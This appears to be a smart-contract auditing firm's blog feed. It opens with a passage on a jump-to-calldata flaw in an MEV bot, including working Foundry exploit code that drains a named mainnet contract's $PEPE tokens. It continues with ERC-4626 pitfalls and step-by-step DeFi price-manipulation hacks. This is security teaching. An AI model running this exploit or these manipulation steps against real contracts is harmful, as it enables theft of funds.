We see that it does a CALLDATALOAD instruction to load the first 256 bits of calldata onto the stack. By running the SHR 0xf0 opcode, the contract extracts the last 16 bits from the calldata. Then, *JUMPI will jump to it.

In short, the contract reads the calldata we feed it and then jumps to the code address in that data. It doesn’t have a list of functions, it just executes the code at the address we specify. The idea is that Solidity’s function hash comparisons are needlessly complicated — why not just specify the address of the function in the code and save on gas?

Here’s a diagram of the two function-calling paradigms:

Although the address jump paradigm looks safe, it opens several issues. There’s no reason we need to specify the start of a function as the address. Why not jump into the middle of a function? Perhaps we could cause the contract to invoke a routine reserved for the owner of the contract by jumping past the authentication checks? All we need is a JUMPDEST instruction where we want to jump.

Sure enough, perusing through the bytecode, there’s a handy code segment that can be used to call any contract, authentication checks omitted:

There are three main segments to this bytecode. Recall the first 16 bits are being used to specify the code address. The first segment loads the calldata from the caller using CALLDATACOPY. The second-to-last segment loads the Ethereum address to call the caller, starting at index CALLDATASIZE - 0x16. The final segment does the actual arbitrary call.

The upshot is that we can call an arbitrary address with arbitrary calldata. This is a powerful primitive. What could we use it for?

The contract is holding on to $14 of $PEPE tokens. We can initiate an ERC-20 approval to transfer the tokens from the contract to our wallet.

To simulate this attack, we’ll be using Foundry. It’ll let us fork mainnet to verify this attack actually works. We can create a Solidity contract that interfaces with both the $PEPE token and the target contract. Let’s start with this boilerplate:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";
// erc20
import {ERC20} from "openzeppelin-contracts/token/ERC20/ERC20.sol";

contract PEPEThief is Test {
// define pepe erc20 contract
ERC20 pepe = ERC20(0x6982508145454Ce325dDbE47a25d4ec3d2311933);
address mev = address(0x23873a6B44CF6836129a0d2BFe6f76d57cAc8CDB);
address owner = address(this);

function setUp() public {
uint256 forkId = vm.createFork("<your eth node here>");
vm.selectFork(forkId);
}
function testWithdraw() public {
// your exploit here
}
}

Foundry allows us to quickly test our exploit by running forge test. This will run all public functions prefixed with “test-”, including testWithdraw.

Using what we know about the bytecode, we can write a function that creates our calldata with the code segment we’d like to call, 03D7; the calldata we want to send; an approval for withdrawing all $PEPE to the attacker’s wallet; and the address we’d like to call, the $PEPE ERC-20 contract. Let’s call the function approveTransfer.

function approveTransfer(uint256 balance) private {
bytes memory calldat = abi.encode(owner, balance);
bytes4 selector = bytes4(keccak256(bytes("approve(address,uint256)")));
bytes memory data = abi.encodePacked(uint16(0x03d7), selector, calldat, pepe);
assembly {
pop(call(gas(), sload(mev.slot), 0, add(data, 32), mload(data), 0x0, 0x0))
}
}

Here, we create calldat, a variable that holds a part of our calldata to the pepe address. The other part of the calldata is selector, which is the hash of the Solidity function we’d like to call. We use the ABI library to concatenate and pack our calldata into one final variable for the MEV contract, data. Using some in-line assembly, we can call the contract with data as our calldata.

Let’s use this function in our test case to see the transfer of funds.

function testWithdraw() public {
console.log("balance owner", pepe.balanceOf(owner));
console.log("balance mev", pepe.balanceOf(mev));

console.log("doing transfer");
uint256 balance = pepe.balanceOf(mev);
approveTransfer(balance);
pepe.transferFrom(mev, owner, balance);

console.log("balance owner", pepe.balanceOf(owner));
console.log("balance mev", pepe.balanceOf(mev));
}

In the end, you’ll be rewarded with your hard-earned $PEPE:

However, we will not withdraw this (insignificant) sum on mainnet because attacking smart contracts without permission is illegal. We attempted to get in contact with the author of the contract, but as they are anonymous, we were not able to. Meanwhile, the amount of money in the contract is negligible, and we believe the benefit of a educational security example for developers is invaluable.

Conclusion

Writing MEV bots is hard. There are a lot of opportunities to introduce subtle bugs while optimizing contracts for efficiency and gas, such as the “gadget jump” seen here. That’s why having a second pair of eyes when writing for the blockchain is so important.

The best one can do as an ordinary user is install Flashbots Protect. MEV bots won’t see transactions in the waiting pool, so they won’t know when to sandwich a user.

About Us

Zellic is a smart contract auditing firm founded by hackers, for hackers. Our security researchers have uncovered vulnerabilities in the most valuable targets, from Fortune 500s to DeFi giants. Whether you’re developing or deploying smart contracts, Zellic’s experienced team can prevent you from being hacked.

Contact us for an audit that’s better than the rest. Real audits, not rubber stamps.

Sina Pilehchiha

What ERC-4626 brings, why it matters, and how to use it
Article heading

TLDR: ERC-4626 is a standard for tokenized vaults.

Before the introduction of ERC-4626, every vault had its own distinctive specification and implementation details. This made integration difficult, error prone, and wasteful.

ERC-4626 attempts to solve this problem by introducing a standard specification to lower integration efforts and create more consistent and robust implementation patterns, just like ERC-20.

What Is ERC-4626?

ERC-4626 is a standard that improves the technical parameters of yield-bearing vaults. It provides a standard API for tokenized yield-bearing vaults that represent shares of a single underlying ERC-20 token.

Tokenized vaults have become an extremely common pattern across DeFi. Yield aggregators, lending markets, staking derivatives, and many more dApps utilize and rely on tokenized vaults. Examples of tokenized vaults include Yearn and Balancer. As a yield aggregator, Yearn vaults enable users to deposit digital assets and receive yield. Balancer, an automated portfolio manager and liquidity provider, relies on vaults at the core of its business logic. These vaults manage tokens in various pools. At the same time, they separate the token accounting and management from the pool logic.

Protocols tokenize their vaults to enhance liquidity and flexibility. Tokenized vaults allow for easy trading and utilization of assets across DeFi platforms. Additionally, they enable the creation of diverse, interconnected financial products. The industry has continually advocated for this paradigm, often referred to as “Money Legos”.

However, composability without proper adaptability or standardization creates challenges. It not only makes it difficult for developers to conform to industry standards like ERC-20 but also confuses new developers. Without proper adaptability or standardization, it is difficult to review new changes and verify the implementation details of an integration.

ERC-4626 has been proposed to solve this problem and simplify integration while allowing DeFi players to eventually adopt a more secure and robust unified specification for vaults. This will also in turn reduce the attack surfaces protocols need to cover while integrating tokens across multiple protocols.

What Security Issues Does ERC-4626 Prevent?

By providing a uniform standard for projects to follow, ERC-4626 speeds up the building of cross-protocol integrations. A familiar, uniform standard is also easier for developers to reason about, which makes coding mistakes less likely. This helps prevent composability issues. Standardization also prevents duplication of work, since the community only needs to design the vaults once, rather than individually for every protocol. And since that design work is often error prone, it helps avoid repeating well-established yet common design pitfalls.

We will go over two case studies here to showcase what sort of issues ERC-4626 can prevent.

Rari Capital Incident

Rari Capital was hacked for approximately $11 million worth of tokens, which amounted to 60% of all users’ funds in the Rari Capital Ethereum Pool.

In summary, Rari Capital was hacked due to an insecure cross-protocol implementation. Its Ethereum Pool deposited ETH into Alpha Finance’s ibETH token contract as a yield-generating strategy. This specific strategy tracked the value of its ibETH/ETH rate through the ibETH.totalETH() / ibETH.totalSupply() formula. This can have an incorrect output in a scenario such as that in this attack, for example while invoking the ibETH.work() function, as debt value can get artificially inflated.

The attacker simply called the deposit() and withdraw() functions in the RariFundManager contract repeatedly, draining the Rari Fund Manager. The deposit() and withdraw() functions would need to get the balance of the pool in order to calculate the number of REPT tokens to be issued to the caller or the amount of ETH to be issued to the caller, respectively. This operation, in turn, would invoke the getBalance() function from the Alpha pool, calling the ibETH contract and its totalETH() function. Rari was unaware of the possibility of manipulating this function.

There is another function in the ibETH contract: ibETH.work(). This function can call any contract specified by the user. This makes it possible for the deposit() and withdraw() functions from Rari to become reentrant and called multiple times.

The work() function is a payable function, meaning that users can control the amount of ETH in the ibETH contract through the work() function, thereby changing the value returned by the totalETH() function. Even worse, the work() function also supports calling any other contracts such as RariFundManager.

Through this function, the attacker can again send ETH and inflate the totalETH amount in the ibETH contract and, in return, redeem more assets while invoking withdraw from the RariFundManager contract.

The excerpt below from the postmortem speaks very clearly about the importance of the ERC-4626 proposal, in terms of adopting more unified specifications for integrations in order to avoid attack scenarios such as this.

*To avoid issues like this in the future, we will be implementing the following additional security measures:

  1. Enlist the protocols we integrate to review our integrations of them for security. This is by far the most important security measure, as the protocols themselves know the code they wrote better than anyone else.*

The incident underscores the critical risks of inadequate integration and incompatible designs in DeFi contracts. It highlights how a standard like ERC-4626, promoting uniform behavior and mutual understanding, could prevent such attacks by adding an essential layer of security and predictability.

Cream Finance Incident

Cream Finance was exploited in a sophisticated attack that took advantage of two fundamental weaknesses in the platform, a manipulatable hybrid oracle and an uncapped supply of tokens. The critical component of the attack was the manipulation of the hybrid oracle, which influenced the perceived value of the yUSD tokens. This was achieved when the attacker sent a substantial amount of Yearn 4-Curve tokens to the yUSD vault, altering the exchange rate that the vault reported and, consequently, the oracle's perceived value of the yUSD tokens.

The key lesson here is the importance of a robust and nonmanipulable price oracle for the stability of DeFi protocols. Time-weighted average price (TWAP) oracles, which calculate average prices over a specific period, could have helped prevent this hack as they're more resilient to sudden price manipulation. This unfortunate event underscores the crucial role of secure and reliable oracles in ensuring the health and robustness of DeFi ecosystems.

With ERC-4626, protocols are now encouraged to implement the convert method as using a time-weighted average price in converting between assets and shares.

These, alongside other vulnerable patterns, can be accounted for and mitigated with the help of careful adoption and implementation of ERC-4626.

Potential Security Pitfalls Under ERC-4626

There are always tradeoffs. With tokenized vaults, it is important to take caution for potential pitfalls when integrating them into smart contracts.

Managing feeOnTransfer Tokens

If the vault is intended to support feeOnTransfer tokens, check that the amounts and shares in the vault are in their expected ranges, respectively, when a fee is subtracted upon a transfer of assets.

Proper Use of decimals

Although the convertTo functions should eliminate the need for any use of an EIP-4626 vault’s decimals variable, it is still strongly recommended to mirror the underlying token’s decimals whenever feasible. This practice helps eliminate potential sources of confusion and simplifies integration across various front ends and for off-chain users.

Rounding

According to the spec, Vault implementers should be aware of the need for specific, opposing rounding directions across the different mutable and view methods, as it is considered most secure to favor the vault itself during calculations over its users:

  • If (1) it’s calculating how many shares to issue to a user for a certain amount of the underlying tokens they provide or (2) it’s determining the amount of the underlying tokens to transfer to them for returning a certain amount of shares, it should round down.
  • If (1) it’s calculating the amount of shares a user has to supply to receive a given amount of the underlying tokens or (2) it’s calculating the amount of underlying tokens a user has to provide to receive a certain amount of shares, it should round up.

The only functions where the preferred rounding direction would be ambiguous are the convertTo functions. To ensure consistency across all EIP-4626 vault implementations, it is specified that these functions MUST both always round down. Integrators may wish to mimic rounding up versions of these functions themselves, for example by adding one Wei to the result.

What You Give Is Not (Necessarily) What You Get

The amount of underlying assets a user may receive through redeeming their shares in the vault (previewRedeem) can be significantly different than the amount that would be taken from them when minting the same quantity of shares (previewMint). The differences may be small (e.g., if due to rounding error) or significant (e.g., if a vault implements withdrawal or deposit fees). Therefore, integrators should take care to use the preview function most relevant to their use case and never assume they are interchangeable.

Overriding Core Functionality

To implement or extend intended functionalities, utilizing existing hooks is the suggested approach rather than altering core functions. This practice ensures a more manageable trace for effective code testing and auditing.

The Zero Share Case

The original spec for ERC-4626 has not outlined how to handle the edge cases in which there are zero numbers of shares available in a vault and whether the vault should work as normal or revert. This can turn into a potential source of confusion and error.

Vaults as Price Oracles

With regards to the risk of oracle price manipulation attacks, the preview methods return values that are as close as possible to exact as possible. For that reason, they are manipulatable by altering the on-chain conditions and are not always safe to be used as price oracles. The 4626 spec includes convert methods and a totalAssets method that are allowed to be inexact and therefore can be implemented as robust price oracles. For example, it would be correct to implement the convert methods using a time-weighted average price in converting between assets and shares.

Implementation-Specific Issues

An integrator must review any implementation of a tokenized vault before further integration, as potentially malicious implementations available out there can look like conforming to the interface while consisting of completely different design specifications in their core functions.

EOA Direct Access

If a vault is meant to be directly accessed through EOAs, its implementation needs to have functions available to accommodate slippage loss or unexpected deposit/withdraw limits. Unlike smart contracts, EOAs have no fail-safe mechanism for transaction reversion if the exact output is not achieved while invoking the four core functions.

Vault Extensions

As more actors start to adopt ERC-4626 standard, we will get to see more extensions implemented for the standard. For instance, Superform has developed an experimental MultiVault extension to support multiple assets with separate accounting within one vault contract. Naturally, the more an implementation deviates from the original standard, the higher the likelihood of introducing new vulnerabilities. Developers and auditors can find their very own optimum based on their use case in terms of how much deviation is actually worth the risk.

It is important to note that it is not minimal additions per protocol that will lead to catastrophic events but the sum of them while integrated together.

The potential attack vectors mentioned above are some of the more discussed issues surrounding the 4626 standard. As the rate of adoption increases, we will definitely get to explore more angles of implementations of and integrations with 4626 vaults.

Additional Reading

  1. ERC-4626: Tokenized Vaults
  2. ERC-4626 Resources
  3. ERC4626 Property Tests (a16z, Trail of Bits)

Stephen Tong
Oliver Murray

A framework for DeFi developers and auditors to identify deadly economic flaws
Article heading

Introduction

Life of a DeFi developer:

  • Say gm.
  • Scroll crypto twitter and commiserate about the bear market.
  • Architect new and complex financial and governance systems. Their robustness is so vitally critical that a single mistake could lead to the loss of tens or hundreds of millions of dollars.

Pretty exciting stuff!

This blog post equips readers with a framework to identify deadly economic flaws in DeFi. We will take apart some of DeFi’s biggest economic hacks. We will analyze them from an economic perspective, as opposed to a smart contract perspective. Finally, we will draw conclusions on how economic vulnerabilities can be spotted and avoided.

Price manipulation, inefficient markets

Price manipulation is a classic and persistent problem in financial systems. In TradFi, market manipulation is illegal and doing it often makes you go to jail. Luckily for us, there is no DeFi police. Hooray for decentralization!

Key idea: Anytime we exchange assets, we do so at a certain price. We need to consider whether those prices reflect an efficient market. If we fail to do so, there could be a dangerous arbitrage situation. An attacker could exploit that situation, often at the expense of others.

Example 1 (TradFi): Speculative currency attacks

You dump a victim currency to drive its price down, then profit off of this movement.

Anytime we accept collateral when lending another asset, this is effectively an exchange of assets. We depend on the prices of both the collateral and the lent asset. We need to consider whether these prices are reliable. If they are unreliable, there is a potential exploit:

  1. [Setup] Gradually stockpile the victim currency (but don’t buy it from their central bank).
  2. [Setup] Short that currency (borrow a bunch then sell it). When borrowing, the lender may ask for collateral. Post collateral in a stable, unaffected currency. Receive the victim currency and immediately sell it at its current, unmanipulated price.
  3. [Trigger] Dump your huge stockpile of the victim currency on the market. The victim currency’s central bank will run out of cash. Then, they can’t afford to buy back their own currency to prop up its price. Thus, the currency depegs, triggering a selling frenzy, driving it down.
  4. [Close] You’re short this currency, so profit. This involves repaying the loan in the victim currency. The victim currency is much cheaper now than when you borrowed it. Take back your unaffected collateral

In effect, you’ve supplied robust collateral, borrowed something valuable, paid back something cheap, and collected the unaffected collateral back. Here, the value of the lent asset was manipulated down.

In Step 2, the loan occurred at a certain price. That price was based on a price peg. This price peg is artificially set by a central bank, and does not necessarily reflect an efficient FX market. Under certain conditions, like a depeg, that assumption is broken. This creates an exploit opportunity.

An example of this happened in real life in 1992, when George Soros attacked the British pound. He made quite a profit off of that trade.

Example 2 (DeFi): The Harvest Finance Hack

DeFi is at risk of repeating many of the same mistakes that bankers and financiers have made in TradFi. Here, you create an arbitrage situation with share pricing.

Harvest Finance is a protocol which allows users to deposit and withdraw money (e.g., USDT) in exchange for LP share tokens. These LP tokens entitle users to a share of the LP pool. This exchange between USDT and LP tokens occurs at a price. If this price does not reflect the true values of USDT or the assets within the LP pool, there is a potential vulnerability.

In October 2020, Harvest Finance was hacked for $USD 33.8MM. In Harvest, LP shares were fixed at the time of deposit. LPs were always entitled to the share of the pool calculated at the time of deposit, even if the price changes later. Thus, if the price of LP shares changes after staking, the user can withdraw an outsized portion of the value locked in the LP pool.

Harvest used reference prices from Curve.fi. It is possible to manipulate this Curve-specific price feed by affecting the reserve amounts held in Curve. This in turn impacts the LP share calculation in Harvest. If we pump up the price of USDT on Curve, then Harvest will overvalue the USDT and undervalue its LP shares. Meanwhile, the actual assets inside the LP pool are unaffected.

Thus, here is the exploit scenario:

  1. [Setup] Amass large amounts of USDC and USDT using flash loans
  2. [Setup] On Curve, pump up the price of USDT. Do this by exchanging USDC for USDT on Curve. Harvest now thinks USDT is more valuable. Thus, relative to USDT, Harvest thinks its LP share price is lower.
  3. [Setup] On Harvest, deposit USDT. Your LP share is calculated, and locked in, based on the manipulated price. You will receive an oversized share of the LP. This is because Harvest is overvaluing your USDT and undervaluing its LP shares.
  4. [Trigger] On Curve, dump the price of USDT back to normal. Do this by exchanging USDT back to USDC. This also makes Harvest stop undervaluing its LP shares.
  5. [Close] On Harvest, withdraw your outsized share of the LP. You will receive more back than you deposited.
  6. Rinse and repeat!

In effect, you manipulated the price of shares down then exchanged USDT for LP shares cheaply. Meanwhile, the value of the assets backing the shares remained unchanged. Later, you cashed out your LP shares for those valuable assets.

In Step 4, the exchange of USDT for LP shares happened at a certain price. That price is based on Curve’s reserves. Curve’s asset reserves certainly do not necessarily reflect an efficient market. Under the attacker’s conditions, Harvest’s assumptions were violated. That created the exploit opportunity. The attacker can sell USDT to the broader market for its true price.

What have we learned so far?

Let’s generalize a bit. We see that a common problem in both scenarios was misplaced trust in the price mechanism. The lender of the loan in the speculative currency attack implicitly assumed the currency peg is accurate. Similarly, Harvest assumed the prices it retrieved from Curve were accurate.

More fundamentally: In both cases, prices were assumed to reflect efficient markets. They did not. The attackers then exploited this incorrect assumption.

In the speculative currency attack, the FX market wasn’t operating efficiently. The forces of supply and demand were being artificially controlled by the central bank. These inefficiencies caused businesses to lend under the flawed assumption that the fixed exchange rate would stay in place for the foreseeable future. In doing so, they took on depeg risk.

The prices Harvest retrieved from Curve.fi were determined by reserve assets in Curve, not the broader market as a whole. This is not necessarily efficient. This could be OK at a large time scale, as arbitrageurs can buy and sell to bring prices back in line with the rest of the market. Unfortunately, with no TWAP, plus the atomic nature of Ethereum transactions, the prices were easily manipulated on the spot.

In both of these cases, asset exchanges were triggered directly by the attacker. But this is not always the case. We will see additional examples as we study scenarios like the X-Token Hack.

Example 3 (DeFi): The X-Token Hack

The xSNX (X-Token) protocol was plagued by complexity and hacks. Since its launch in August 2020, it was hacked three times. The largest hack was in May 2021, on xSNXa for $USD 24MM.

In the exploit, the attacker manipulated the price quoted on a Uniswap V2 pool. The attacker then triggered the protocol to do a swap on this pool. In doing so, the protocol took on a trade at a very unfavorable price. This allowed the attacker to profit.

Exploit steps:

  1. (Setup) Amass SNX. We can do this by flash loaning ETH then exchanging it to SNX by borrowing on Aave and Sushiswap. Amass some other funds too, which we will use to mint xSNX later.
  2. (Setup) Use the SNX to crash the price of the SNX-ETH Uniswap V2 pool. (Same idea as from Curve)
  3. (Trigger) Mint a lot of xSNX. Ultimately, the protocol is programmed to
    use Uniswap to exchange the ETH for SNX. Remember, this is the same pool that you just pushed down. Thus, the protocol trades on Uniswap at a very bad price. The end result is you mint an inflated amount of xSNX.
  4. (Exit) Sell the xSNX and repay all loans. But wait, we just crashed SNX on Uniswap–where are we supposed to dump this stuff? There happens to be another Balancer pool. The Balancer pool is unaffected by the liquidity depressions in the Uniswap pool. Dump your xSNX on there.

There are additional layers of complexity in this hack compared to the Harvest hack. Most obviously, the attacker did not exchange assets themselves; they instead caused the victim protocol to do so. Regardless of which party is exchanging assets, the existence of a secondary market unaffected by manipulation creates an arbitrage opportunity.

Other than that, though, this hack shares a remarkable number of characteristics with the previous exploits we have discussed. The attacker is able to cause a trade to happen at a non-market price. In doing so, they are able to pocket the difference between the true price and the trade price. As usual, in automated DeFi protocols, it is absolutely necessary that every exchange happens at efficient prices. Otherwise, attackers can economically exploit the protocol.

Conclusion

As tokenomic systems grow more complex, we must pay more attention to potential economic vulnerabilities. One class of arbitrage opportunities arise when assets are exchanged at inefficient prices, paired with a catalyst. This catalyst can be an event which moves prices to be more efficient or a secondary market that is efficient. Additionally, the asset exchange need not necessarily be triggered by the attacker themselves.

Lending protocols give rise to one of the simplest economic exploit scenarios. In a loan, collateral and a lent asset are exchanged. If the value of either the collateral or the lent asset can be manipulated, there may be an arbitrage opportunity.

Protocols with more financial machinery can also have economic vulnerabilities. For example, Harvest finance suffered from a share pricing issue that led to share price arbitrage. The machinery can even involve additional tokens, minting, and back-end trades, such as in the X-Token hack.

Leverage can also give rise to economic vulnerabilities. In DeFi, leverage is often implemented through collateralized lending, paired with liquidation. Sudden market movements may lead to failures in leveraged protocols. Leveraged protocols also often involve back-end trades by the protocol. Similar to the X-Token hack, if an attacker can trigger the protocol to exchange on manipulated liquidity pairs, there is the potential for an economic exploit.

Apart from price manipulation, there are many other classes of economic attacks possible on DeFi protocols. These include, for example, governance exploits. We plan to cover these in subsequent posts.

As we have seen, DeFi opens up opportunities for all kinds of novel economic attacks. Although we have seen real-world parallels like with speculative currency attacks, it is difficult to place an analogy for the more intricate hacks. We expect that this trend will continue as decentralized economic systems continue to grow in complexity. In the future, we may even end up treating DeFi hacks as economic case studies.

About Us

Zellic is a smart contract auditing firm founded by hackers, for hackers. Our security researchers have uncovered vulnerabilities in the most valuable targets, from Fortune 500s to DeFi giants. Whether you’re developing or deploying smart contracts, Zellic’s experienced team can prevent you from being hacked.

Contact us for an audit that’s better than the rest.